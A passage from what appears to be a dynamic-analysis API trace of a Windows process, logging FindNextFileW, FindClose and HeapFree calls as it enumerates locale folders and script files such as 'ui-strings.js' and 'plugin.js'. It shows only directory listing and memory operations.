ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0cbb036, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0cbb036, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0189.219] FindClose (in: hFindFile=0x4531740 | out: hFindFile=0x4531740) returned 1 [0189.219] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0189.219] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0189.341] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.341] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0189.341] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.341] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0189.341] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.342] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0189.342] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.342] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0189.342] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.342] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0189.342] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.342] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0189.343] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.343] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0189.343] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.343] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0189.344] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.344] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0189.344] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.344] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0189.344] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.344] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0189.345] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.345] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0189.345] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.345] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0189.345] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.348] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0189.349] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.349] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0189.349] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.349] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0189.349] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.350] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0189.350] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.350] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1074aa6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1074aa6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1074aa6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0189.350] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.350] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0189.351] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.351] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0189.351] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.351] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1074aa6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1074aa6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0189.351] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.351] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0189.352] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.352] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0189.352] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.352] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0189.352] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.352] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0189.353] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.353] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0189.353] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.353] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0189.353] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.353] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0189.354] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.354] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0189.354] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.354] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1074aa6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1074aa6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1074aa6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0189.354] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.354] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0189.355] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.355] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0189.355] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.355] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e38798, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e38798, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0189.355] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.356] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e38798, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e38798, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0189.356] FindClose (in: hFindFile=0x4531dc0 | out: hFindFile=0x4531dc0) returned 1 [0189.356] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0189.356] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d9a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0189.356] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0189.356] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0189.356] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0189.356] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0189.359] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="my-files-select", cAlternateFileName="MY-FIL~1")) returned 1 [0189.360] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0189.360] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, 